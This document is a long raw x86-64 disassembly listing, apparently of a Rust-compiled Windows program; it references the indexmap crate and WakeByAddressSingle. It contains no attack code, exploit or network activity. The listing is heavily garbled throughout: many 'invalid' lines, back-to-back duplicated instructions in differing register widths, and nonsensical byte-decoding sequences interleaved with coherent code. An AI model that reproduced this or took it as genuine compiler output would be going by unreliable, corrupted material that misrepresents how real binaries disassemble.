mov byte [rsp + 0x42], bl
mov byte [rsp + 0x42], r11b
mov dword [rsp + 0x44], r10d
mov r10, qword [rbx + 0x128]
xchg ebx, eax
sub byte [rcx], al
add byte [rax], al
xchg ebx, eax
sub byte [rcx], al
add byte [rax], al
mov rdx, qword [rcx + 0x88]
add byte [rax], al
cmp r8, r10
cmovae r8, r10
ret 0x894d
ret
ret 0x894d
mov ebx, eax
sub r11, rdx
mov r9d, 0
mov ecx, 0
mov ecx, 0
cmovae r9, r11
test r13d, r13d
je 0x14009b6b6
mov r11d, dword [rcx + 0x80]
sub r11d, r13d
jmp 0x14009b6ba
mov ecx, cs
invalid
add byte [rax], al
movzx r11d, byte [rsp + 0x42]
mov eax, r13d
mov qword [rsp + 0xd0], rax
and al, 0xd0
add byte [rax], al
add byte [rax + 0x29], cl
sub edx, eax
and al, 0xd0
add byte [rax], al
add byte [rax + 0x29], cl
sub edx, eax
invalid
invalid
sub edx, eax
mov qword [rcx + 0x88], rdx
mov byte [rax], al
add byte [rax], al
sub dword [rcx + 0x118], r13d
sub dword [rcx + 0x118], ebp
sub r8, rdx
mov eax, 0
invalid
add byte [rcx + 0xf], cl
ror byte [r9 + 0x39], 0xc1
cmovae rax, r8
cmovae eax, eax
cmp r9, rax
jae 0x14009b71a
mov byte [rcx + 0x123], 1
mov rdx, qword [rcx + 0x90]
xchg ecx, eax
nop
add byte [rax], al
add byte [rax - 0x75], cl
sbb dword [rax + 0x48000000], 0x9081c7
invalid
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
nop
add byte [rax], al
add byte [rax - 0x75], cl
sbb dword [rax + 0x48000000], 0x9081c7
invalid
nop
add byte [rax], al
add byte [rax], al
invalid
adc dword [rax], 0x48000000
test edx, edx
add byte [rax], al
test rdx, rdx
je 0x14009b71a
mov rcx, rax
mov ecx, eax
call qword [rdx + 8]
movzx r11d, byte [rsp + 0x42]
mov dh, 0x5c
and al, 0x42
mov dh, 0x5c
and al, 0x42
mov eax, dword [rbx + 0x124]
mov ecx, eax
add ecx, r13d
add byte [rcx - 0x16febb3f], cl
jo 0x14009b72f
mov dword [rbx + 0x124], ecx
mov esp, dword [rcx + rax]
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x127aba38], cl
mov eax, ecx
test r13d, r13d
mov edx, dword [rsp + 0x78]
mov r9d, dword [rsp + 0x44]
je 0x14009b768
mov rcx, qword [rsp + 0x100]
mov ecx, dword [rcx]
sub ecx, r13d
mov word [rax + rax], fs
add dword [rax], eax
add byte [rbx - 0x16d6bbf7], cl
jl 0x14009ce79
jo 0x14009b768
invalid
mov r8, qword [rsp + 0x100]
mov dword [r8], ecx
sub eax, r13d
invalid
call 0xc392bdd4
and al, 1
add byte [rax], al
invalid
jo 0x14009b768
add byte [rsi + 0x4c], ah
movd eax, mm4
movq rax, xmm12
test rsi, rsi
je 0x14009b792
div byte [rax + riz + 0x44]
mov ecx, esi
mov ecx, r14d
cmp rsi, 1
jne 0x14009b7aa
add dword [rbp + 0x2f], esi
pshufd xmm0, xmm13, 0xee
movq rcx, xmm0
sub rcx, rax
sar dword [rax], 0x48
cmovae eax, ecx
invalid
sar dword [rax], 0x48
cmovae eax, ecx
mov ecx, r14d
and cl, 0xfe
cmp rax, qword [rsp + 0xd0]
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0xc6
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0xc6
movzx ecx, cl
cmovbe ecx, eax
mov dword [rsp + 0xac], ecx
and r14b, 1
add byte [rcx - 0x80], al
out 1, al
mov ecx, esi
shr ecx, 0x10
jmp 0x13092ffcd
shr rax, 0x20
call 0xc492ffe4
and byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax], al
jmp 0x13092ffcd
and byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0x31], al
in eax, dx
xor r13d, r13d
mov eax, ebp
mov dword [rsp + 0x70], ebp
insb byte [rdi], dx
and al, 0x70
insb byte [rdi], dx
and al, 0x70
mov eax, r15d
mov dword [rsp + 0x74], r15d
mov byte [rsp + 0x4b], r14b
mov r14d, ecx
movzx eax, byte [rsp + 0x330]
add byte [rax], al
cmp eax, 9
jbe 0x14009b902
sgdt [rax]
invalid
sgdt [rax]
add dword [rax], eax
add cl, ch
sbb byte [rcx], al
add byte [rax], al
jmp 0x14009b910
mov eax, dword [rsp + 0x334]
mov esi, dword [rsp + 0x338]
mov ah, 0x24
cmp byte [rbx], al
add byte [rax], al
mov r14d, dword [rsp + 0x33c]
add byte [rax], al
mov ecx, r13d
dec ecx
lea rdx, [0x140178894]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
sar edi, 1
invalid
ror byte [0x14c6d001d], 1
mov cl, byte [rax + 1]
sar edi, 1
loope case.0x1400925b9.61
mov esi, esi
shr r14d, 0x10
shr esi, 0x10
shr esi, 0x10
mov edx, eax
mov r9d, dword [rsp + 0x4c]
movzx r11d, byte [rsp + 0x44]
and al, 0x44
and al, 0x44
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
jmp 0x14009bab1
invalid
add byte [rcx + rcx*4 - 0x67], al
add byte [rax], 0
add byte [rcx + rbp - 0x18], al
mov dword [rcx + 0x80], r11d
sub eax, r13d
movzx r11d, byte [rsp + 0x42]
jo 0x14009b6bc
invalid
invalid
invalid
invalid
invalid
invalid
mov dword [rcx + 0x84], eax
test eax, eax
mov r8d, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmovle eax, r8d
cmp rax, r10
cmovb r10, rax
mov r8, r10
jmp 0x14009b6bc
mov rcx, qword [rsp + 0x100]
lea rdx, [rsp + 0xf0]
lea edx, [rsp + 0xf0]
mov word [rax + rax], fs
add dword [rax], eax
add byte [rax - 0x73], cl
lea edx, [rsp + 0xf0]
invalid
rsqrtps xmm7, xmm0
push rdx
clc
lea edx, [rsp + 0xf0]
call fcn.140020aa0
push rdx
clc
inc dword [rcx + rcx*4 + 0x74]
and al, 0x70
invalid
mov dword [rsp + 0x70], r14d
jo 0x14009b8d8
mov r14d, esi
mov esi, esi
shr r14d, 0x10
mov rax, rsi
shr rax, 0x20
mov qword [rsp + 0xd8], rax
add byte [rbx + 0x2d02484], cl
add byte [rax], al
add byte [rbx + 0x2d02484], cl
add byte [rax], al
and al, 0xd0
add al, byte [rax]
add byte [rbx + 0x2d3248c], cl
add byte [rax], al
mov ecx, dword [rsp + 0x2d3]
mov dword [rsp + 0x11b], ecx
add byte [rax], al
mov dword [rsp + 0x118], eax
mov r8d, 0xcd
lea rcx, [rsp + 0x598]
lea rdx, [rsp + 0x478]
xchg esp, eax
and al, 0x78
add al, 0
add al, ch
invalid
lodsb al, byte [rsi]
invalid
call fcn.140106530
mov r13b, 3
add ecx, dword [rbx + 0x44782454]
mov ecx, dword [rsp + 0x44]
movzx r11d, byte [rsp + 0x42]
movzx eax, byte [rsp + 0x330]
cmp eax, 9
ja 0x14009b910
mov ecx, 0x209
add byte [rax], al
bt ecx, eax
jb 0x14009bb70
lea rcx, [rsp + 0x330]
mov ebx, edx
add eax, dword [rax]
add byte [rcx + 0x748944d3], cl
mov dword [rsp + 0x50], r14d
mov dword [rsp + 0x50], r14d
mov r14d, r9d
mov byte [rsp + 0x42], r11b
and al, 0x42
and al, 0x42
call fcn.1400875e0
movzx r11d, byte [rsp + 0x42]
mov dh, 0x5c
pop rsp
and al, 0x42
pop rsp
and al, 0x42
mov r9d, r14d
mov r14d, dword [rsp + 0x50]
push rax
push rax
mov edx, ebx
mov rbx, qword [rsp + 0x88]
pushfq
and al, 0x88
add byte [rax], al
add cl, ch
invalid
add al, byte [rax]
invalid
pushfq
and al, 0x88
add byte [rax], al
add cl, ch
invalid
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x4a
jrcxz case.0x140093f12.45
mov word [rsi + rax*4], fs
add byte [rax], al
add byte [rdi], cl
mov bh, 0x4a
loope 0x14009b9c7
loope 0x14009b9c7
mov dword [rsp + 0x84], ecx
mov edx, eax
mov r9d, dword [rsp + 0x4c]
movzx r11d, byte [rsp + 0x44]
movzx r11d, byte [rsp + 0x44]
movzx r8d, byte [rsp + 0x42]
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
movdqa xmm13, xmm9
jmp 0x1af18feed
invalid
jmp 0x1af18feed
movq mm4, mm0
mov r14d, dword [rsp + 0x50]
jmp 0x14009bb70
mov eax, esi
shr eax, 0x10
mov dword [rsp + 0x50], eax
movdqu xmm13, xmmword [rsp + 0x340]
add bl, dh
movq mm4, qword [rsp + 0x350]
add eax, dword [rax]
invalid
add bl, dh
movq mm4, qword [rsp + 0x350]
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + riz*2], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0xd0], rax
add byte [rax], al
add byte [rbx + 0x3682484], cl
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x3682484], cl
add byte [rax], al
mov dword [rsp + 0x70], eax
and al, 0x70
mov eax, dword [rsp + 0x36c]
mov dword [rsp + 0x74], eax
je 0x14009b9e5
mov dh, 0x84
and al, 0x70
add eax, dword [rax]
add byte [rax + 0x484b2444], cl
lea ecx, [rsp + 0x371]
je 0x14009b9e5
mov dh, 0x84
and al, 0x70
add eax, dword [rax]
add byte [rax + 0x484b2444], cl
lea ecx, [rsp + 0x371]
jno 0x14009b9ea
add byte [rax], al
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x118], eax
mov dword [rsp + 0x11b], ecx
add dword [rbx - 0x7b76fcb7], ecx
and al, 0x18
add dword [rax], eax
add byte [rcx + 0x11b248c], cl
add byte [rax], al
mov eax, dword [rsp + 0x378]
mov dword [rsp + 0x44], eax
movzx ebx, byte [rsp + 0x37c]
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0x7d
jge 0x14009ba18
add byte [rax], al
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0x7d
jge 0x14009ba18
add byte [rax], al
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x37e]
mov dword [rsp + 0xac], eax
jge 0x14009ba18
add byte [rax], al
mov byte [rsp + 0x43], al
and al, 0x43
movzx eax, byte [rsp + 0x37e]
mov dword [rsp + 0xac], eax
mov r8d, 0xcd
lea rcx, [rsp + 0x598]
cwde
invalid
add byte [rax], al
cwde
add eax, 0x8d480000
lea rdx, [rsp + 0x37f]
invalid
jmp 0x14009b9ed
lea rdx, [rsp + 0x37f]
call fcn.140106530
invalid
add byte [rcx - 0x77], al
invalid
invalid
add byte [rcx - 0x77], al
fild dword [rbx + rcx*4 + 0x4c]
mov r9d, dword [rsp + 0x44]
mov r9d, dword [rsp + 0x44]
mov eax, dword [rsp + 0x44c]
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x450]
mov eax, dword [rsp + 0x450]
mov qword [rsp + 0x290], rax
mov dword [rsp + 0x290], eax
mov eax, r14d
mov eax, esi
mov qword [rsp + 0xd8], rax
mov r14d, dword [rsp + 0x50]
je 0x14009ba9e
push rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], al
je 0x14009ba9e
push rax
je 0x14009ba9e
push rax
mov rbx, qword [rsp + 0x88]
mov ebx, dword [rsp + 0x88]
jmp 0x14009bb62
mov ecx, esi
shr ecx, 0x10
adc byte [rcx + 0x4c8b44c2], cl
and al, 0x4c
adc byte [rcx + 0x4c8b44c2], cl
and al, 0x4c
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
and al, 0x42
and al, 0x42
mov byte [rsp + r12 + 0x43], al
mov byte [rsp + 0x43], al
mov eax, r14d
mov qword [rsp + 0xd8], rax
mov r14d, ecx
mov esi, ecx
invalid
movdqa xmm13, xmm9
movdqa xmm12, xmm8
jmp 0x14009bb70
movq mm4, qword [rsp + 0x350]
mov rcx, qword [rsp + 0x360]
mov qword [rsp + 0xd0], rcx
mov ecx, dword [rsp + 0x368]
mov dword [rsp + 0x70], ecx
and al, 0x70
and al, 0x70
mov ecx, dword [rsp + 0x36c]
mov dword [rsp + 0x74], ecx
mov edx, eax
mov r9d, dword [rsp + 0x4c]
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
mov eax, r14d
mov qword [rsp + 0xd8], rax
mov r14d, r8d
jmp 0x14009bb70
mov edx, dword [rsp + 0x78]
nop word cs:[rax + rax]
mov dword [rsp + 0x78], edx
mov dword [rsp + 0xc0], ebp
mov dword [rsp + 0xc4], r15d
cmp qword [rbx + 0x1d8], rbp
jbe 0x14009ccec
mov rax, qword [rbx + 0x1d0]
mov rcx, qword [rax + r12]
cmp rcx, 2
je 0x14009ccec
mov rdx, qword [rsp + 0x308]
cmp rdx, 2
mov ebp, ecx
mov byte [rsp + 0x42], r9b
je 0x14009be60
mov rcx, qword [rsp + 0x310]
mov rax, qword [rsp + 0x318]
test rdx, rdx
je 0x14009bdc3
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x320]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x308]
cmp r8, 2
mov ecx, ebp
movzx r9d, byte [rsp + 0x42]
je 0x14009be60
mov rdx, qword [rsp + 0x320]
mov rcx, qword [rsp + 0x310]
mov rax, qword [rsp + 0x318]
test r8, r8
je 0x14009be52
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x310]
lock dec qword [rax]
mov ecx, ebp
movzx r9d, byte [rsp + 0x42]
jne 0x14009be60
mov rcx, qword [rsp + 0x310]
mov rdx, qword [rsp + 0x318]
call fcn.140004950
movzx r9d, byte [rsp + 0x42]
mov ecx, ebp
jmp 0x14009be60
call qword [rax + 0x80]
mov ecx, ebp
movzx r9d, byte [rsp + 0x42]
test r13b, r13b
mov dword [rsp + 0xa8], ebx
mov qword [rsp + 0x290], r14
mov qword [rsp + 0xd0], r15
je 0x14009bf10
movzx eax, r13b
cmp eax, 9
jne 0x14009bf36
mov dword [rsp + 0x4c], ecx
mov byte [rsp + 0x44], r9b
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x42], al
movdqa xmm10, xmm13
movdqa xmm11, xmm12
mov rbx, qword [rsp + 0x88]
mov r14, qword [rsp + 0xb0]
mov r13, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3630
mov r15, rdx
test rax, rax
jne 0x14009c1dc
test r15, r15
jne 0x14009c1dc
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x298]
mov r8, qword [rsp + 0x58]
mov r9, rdi
call fcn.1400a4280
test al, al
jne 0x14009ab30
jmp 0x14009c1d7
mov rcx, qword [rsp + 0x88]
mov dword [rcx + 0x16c], 1
mov eax, dword [rsp + 0x70]
mov dword [rcx + 0x170], eax
mov eax, dword [rsp + 0x74]
mov dword [rcx + 0x174], eax
mov byte [rsp + 0x120], r13b
movzx eax, byte [rsp + 0x82]
lea rdx, [rsp + 0x130]
mov byte [rdx - 0xd], al
movzx eax, word [rsp + 0x80]
mov word [rdx - 0xf], ax
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x124], eax
mov rax, qword [rsp + 0x580]
mov qword [rsp + 0x128], rax
movdqu xmmword [rsp + 0x130], xmm13
movdqu xmmword [rsp + 0x140], xmm12
mov qword [rsp + 0x150], r15
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x158], eax
mov eax, dword [rsp + 0x74]
mov dword [rsp + 0x15c], eax
movzx eax, byte [rsp + 0x4b]
mov byte [rsp + 0x160], al
mov eax, dword [rsp + 0x2c8]
mov ecx, dword [rsp + 0x2cb]
mov dword [rdx + 0x34], ecx
mov dword [rdx + 0x31], eax
mov eax, dword [rsp + 0x304]
mov dword [rsp + 0x168], eax
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x16c], al
movzx eax, byte [rsp + 0x56]
mov byte [rsp + 0x16d], al
mov eax, dword [rsp + 0xac]
mov byte [rsp + 0x16e], al
mov r8d, 0xcd
lea rcx, [rsp + 0x16f]
lea rdx, [rsp + 0x693]
call fcn.140106530
mov dword [rsp + 0x23c], ebx
mov qword [rsp + 0x240], r14
mov rcx, qword [rsp + 0x98]
lea rdx, [rsp + 0x120]
call fcn.140079250
cmp al, 0xc
jne 0x14009ccf9
cmp dword [rdi + 0x100], 4
mov rbx, qword [rsp + 0x88]
mov r14, qword [rsp + 0xb0]
mov r13, qword [rsp + 0x90]
movzx r11d, byte [rsp + 0x42]
jne 0x14009c091
mov r10d, ebp
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jae 0x14009c0f3
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3630
mov r15, rdx
test rax, rax
jne 0x14009c149
test r15, r15
mov r10d, ebp
movzx r11d, byte [rsp + 0x42]
jne 0x14009c0f3
mov esi, 1
cmp dword [rdi + 0x100], 4
jne 0x14009c453
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jb 0x14009c453
test rax, rax
jne 0x14009c157
test r15, r15
lea rsi, [rsp + 0x478]
jne 0x14009c157
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x298]
mov r8, qword [rsp + 0x58]
mov r9, rdi
mov ebp, r10d
mov r15d, r11d
call fcn.1400a4280
mov dword [rsp + 0x4c], ebp
mov byte [rsp + 0x44], r15b
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x42], al
movdqa xmm10, xmm13
movdqa xmm11, xmm12
jmp 0x14009ab30
mov r10d, ebp
movzx r11d, byte [rsp + 0x42]
test rax, rax
je 0x14009c0f8
mov dword [rsp + 0x4c], r10d
mov byte [rsp + 0x44], r11b
movzx ecx, byte [rsp + 0x43]
movdqa xmm10, xmm13
movdqa xmm11, xmm12
jmp 0x14009c1e1
mov rcx, r14
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009a248
call fcn.1401105f0
xor al, 1
mov dword [rsp + 0xa4], eax
jmp 0x14009a253
xor r15d, r15d
xor eax, eax
movzx ecx, byte [rsp + 0x42]
test rax, rax
mov byte [rsp + 0x42], cl
jne 0x14009c263
test r15, r15
jne 0x14009c263
mov rax, qword [r12]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov rsi, rax
mov r14, rdx
mov rax, qword [rbx + 0x1b8]
test rax, rax
je 0x14009c218
mov rcx, qword [rbx + 0x1c0]
call qword [rax + 0x18]
mov qword [rbx + 0x1b8], rsi
mov qword [rbx + 0x1c0], r14
cmp byte [rsp + 0xa4], 0
mov rsi, qword [rsp + 0x2d8]
jne 0x14009c24b
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne case.0x1400792d3.152
xor eax, eax
xchg byte [rsi], al
mov rcx, rsi
mov r15d, 0
mov esi, 0
cmp al, 2
je 0x14009c293
jmp 0x14009c299
mov rsi, rax
cmp byte [rsp + 0xa4], 0
jne 0x14009c283
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009c4bd
invalid
add byte [rcx], dh
ror byte [rax - 0x75], 0x8c
and al, 0xd8
add al, byte [rax]
add byte [rsi + 0x75023c01], al
invalid
xor eax, eax
mov rcx, qword [rsp + 0x2d8]
xchg byte [rcx], al
cmp al, 2
jne 0x14009c299
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsp + 0x300], 0
jne 0x14009c2b6
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009c483
xor eax, eax
mov rcx, qword [rsp + 0x578]
xchg byte [rcx], al
cmp al, 2
jne 0x14009c2cc
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test rsi, rsi
jne 0x14009c4f2
test r15, r15
jne 0x14009c9b1
mov rax, qword [rsp + 0x2e0]
cmp qword [rax], 0
mov rsi, qword [rsp + 0x110]
jne 0x14009c31e
cmp byte [rdi + 0x3dc], 0
jne 0x14009c4f2
cmp dword [rdi + 0x3d0], 0
je 0x14009c4f2
cmp dword [rdi + 0x3d4], 0x7fffffff
je 0x14009c4f2
add byte [rax], al
add byte [rax], al
mov rdi, qword [rdi + 0x408]
lea rcx, [rdi + 0x10]
xor eax, eax
mov dl, 1
lock cmpxchg byte [rdi + 0x10], dl
jne 0x14009c407
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009c42d
xor eax, eax
movzx edx, byte [rdi + 0x11]
test dl, dl
jne 0x14009cd94
add byte [rax], al
add byte [rax], al
mov bl, 1
cmp qword [rdi + 0x30], 0
je 0x14009c368
test al, al
jne 0x14009c387
jmp 0x14009c374
cmp qword [rdi + 0x40], 0
setne bl
test al, al
jne 0x14009c387
mov rax, qword [0x140182308]
shl rax, 1
shl eax, 1
shl eax, 1
test rax, rax
jne 0x14009c499
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14009c395
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add byte [rbx + rbx*8 + 0x24bc8b48], al
or byte [rcx], al
add byte [rax], al
test bl, bl
mov rdi, qword [rsp + 0x108]
jne 0x14009c4f2
mov rcx, qword [rdi + 0x408]
add rcx, 0x10
call fcn.140099810
mov dword [rsp + 0x140], eax
mov dword [rsp + 0x144], 0
lea rax, [0x14013e948]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rax, [rsp + 0x130]
movups xmmword [rax], xmm6
mov rcx, qword [rsp + 0x2e8]
mov ecx, dword [rsp + 0x2e8]
mov ecx, dword [rsp + 0x2e8]
lea rdx, [rsp + 0x120]
call fcn.14001f190
jmp 0x140099b40
mov rsi, rcx
call fcn.140110530
mov rcx, rsi
mov rsi, qword [rsp + 0x110]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009c34b
invalid
dec dword [rax - 0x77]
invalid
mov rsi, rcx
call fcn.1401105f0
mov rcx, rsi
mov rsi, qword [rsp + 0x110]
adc byte [rcx], al
add byte [rax], al
adc byte [rcx], al
add byte [rax], al
xor al, 1
movzx edx, byte [rdi + 0x11]
test dl, dl
je 0x14009c359
jmp 0x14009cd94
mov dword [rsp + 0x4c], r10d
mov byte [rsp + 0x44], r11b
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x42], al
movdqa xmm10, xmm13
movdqa xmm11, xmm12
movq mm3, mm4
movq mm3, mm4
cmp byte [rsp + 0xa4], 0
jne 0x14009c283
invalid
invalid
invalid
jmp 0x14009c270
call fcn.1401105f0
test al, al
jne 0x14009c2b6
mov byte [rbx + 0x11], 1
jmp 0x14009c2b6
mov rsi, rcx
call fcn.1401105f0
mov rcx, rsi
mov rsi, qword [rsp + 0x110]
test al, al
jne 0x14009c387
mov byte [rdi + 0x11], 1
jmp 0x14009c387
call fcn.1401105f0
test al, al
ror byte [rdi], 0x85
invalid
std
invalid
invalid
invalid
ror byte [rdi], 0x85
mov ecx, 0x41fffffd
mov byte [rsi + 0x11], 1
mov byte [r14 + 0x11], 1
jmp 0x14009c283
call fcn.1401105f0
test al, al
jne 0x14009c24b
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x11], 1
jmp 0x14009c24b
mov rax, qword [rsp + 0xe0]
mov byte [rax], 4
mov rax, qword [rsp + 0x548]
cmp rax, 2
jne 0x14009c7fb
jmp 0x14009c876
mov r14d, dword [rdi + 0x404]
movzx ebp, byte [rdi + 0x401]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x2e0]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x140], rax
movups xmm0, xmmword [rcx]
add dword [rdi], ecx
adc byte [rcx + 0x10], cl
add dword [rdi], ecx
adc byte [rcx + 0x10], cl
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
add byte [rdi], cl
sub dword [rsp + 0x120], eax
mov qword [rdi + 0x418], 0
mov rax, qword [rsp + 0x120]
test rax, rax
je 0x14009c68d
lea rbx, [rsp + 0x138]
mov r8, qword [rsp + 0x128]
mov r9, qword [rsp + 0x130]
lea rcx, [rsp + 0x330]
mov rdx, rbx
call qword [rax]
mov r12d, dword [rsp + 0x144]
mov r15, qword [rsp + 0x330]
and al, 0x30
add eax, dword [rax]
add byte [rax - 0x75], cl
mov ah, 0x24
cmp byte [rbx], al
add byte [rax], al
and al, 0x30
add eax, dword [rax]
add byte [rax - 0x75], cl
mov ah, 0x24
cmp byte [rbx], al
add byte [rax], al
mov rdi, qword [rsp + 0x340]
mov rcx, qword [rsp + 0x348]
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x330], r15
mov qword [rsp + 0x338], rsi
mov qword [rsp + 0x340], rdi
mov qword [rsp + 0x348], rcx
test rax, rax
je 0x14009c5f9
mov rdx, qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
mov rcx, rbx
call qword [rax + 0x10]
lea rcx, [rsp + 0x348]
mov eax, r12d
or eax, r14d
je 0x14009c6d6
test r12d, r12d
je 0x14009c6c7
lea rax, [rsp + 0x340]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x120], xmm0
add byte [rax - 0x4b], al
add dh, byte [rbx - 0x1976baff]
add byte [rax - 0x4b], al
add dh, byte [rbx - 0x1976baff]
mov qword [rsp + 0x458], r15
jmp 0x14009c6e7
add cl, ch
test eax, 0x48000000
lea ecx, [rsp + 0x120]
call fcn.14001a200
mov rax, qword [rsp + 0x140]
mov rcx, qword [rsp + 0xe0]
add byte [rax], al
add byte [rax - 0x77], cl
and byte [r15], cl
adc byte [rsp + 0x120], al
add byte [rax], al
add byte [rax - 0x77], cl
and byte [r15], cl
adc byte [rsp + 0x120], al
movups xmm1, xmmword [rsp + 0x130]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rax, qword [rsp + 0x548]
test byte [rax + rcx*2], ah
add eax, 0x83480000
clc
add cl, byte [rdi]
test dword [rbx + 1], esi
add byte [rax], al
test byte [rax + rcx*2], ah
add eax, 0x83480000
clc
add cl, byte [rdi]
test dword [rbx + 1], esi
add byte [rax], al
jmp 0x14009c876
add byte [rbp + rcx*4 + 0x3d], cl
mov ah, 0x22
or al, byte [rax]
lea r15, [0x14013e948]
mov qword [rsp + 0x330], r15
mov qword [rsp + 0x338], 1
add dword [rax], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x73], cl
mov word [rax + rcx*2], fs
add eax, dword [rax]
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
adc dword [rsp + 0x340], eax
mov esi, 1
lea rcx, [rsp + 0x348]
xorps xmm0, xmm0
movups xmmword [rsp + 0x340], xmm0
adc dword [rsp + 0x340], eax
mov esi, 1
xor edi, edi
test r14d, r14d
invalid
je 0x14009c6d6
xorps xmm0, xmm0
movaps xmmword [rsp + 0x120], xmm0
mov bl, 1
jmp case.0x140095d16.23
mov bl, 3
mov rdx, rsi
mov r8, rdi
call qword [r15 + 0x10]
mov esi, 1
mov rax, qword [rsp + 0xe0]
mov eax, dword [rsp + 0xe0]
mov byte [rax], bl
mov byte [rax + 1], bpl
mov dword [rax + 4], r14d
add al, 0x48
mov ecx, dword [rsp + 0x458]
add al, 0x48
mov ecx, dword [rsp + 0x458]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rsi
movaps xmm0, xmmword [rsp + 0x120]
adc byte [rdi], cl
sub byte [rsp + 0x120], al
movups xmmword [rax + 0x18], xmm0
mov rax, qword [rsp + 0x548]
and al, 0x48
add eax, 0x83480000
add byte [rax - 0x7d], cl
clc
add cl, byte [rdi]
test esp, edx
add byte [rax], al
invalid
and al, 0x48
add eax, 0x83480000
add byte [rax - 0x7d], cl
add byte [rax - 0x7d], cl
clc
add cl, byte [rdi]
test esp, edx
add byte [rax], al
add cl, ch
add qword [rax], rax
add byte [rbp - 0x77], cl
mov r14, r8
jmp 0x14009c876
mov r14, r8
shl r15, 0x20
or r15, r9
movabs rsi, 0x8000000000000000
cmp r15, rsi
je 0x14009c793
movq rsi, xmm12
test rsi, rsi
je 0x14009c780
js 0x14009ceb5
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rsi
mov edx, esi
mov edx, esi
call fcn.1400df910
test rax, rax
je 0x14009ceba
mov rdi, rax
jmp 0x14009c785
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore_raw.rs
call fcn.1401085b0
mov edi, 1
mov rdx, r14
mov rcx, rdi
mov rcx, rdi
mov r8, rsi
call fcn.140106530
mov byte [rsp + 0x121], bl
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x130], rdi
movq qword [rsp + 0x138], xmm12
mov byte [rsp + 0x120], 2
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x350]
call fcn.1400a3160
mov rax, qword [rsp + 0xe0]
mov byte [rax], 2
mov byte [rax + 1], bl
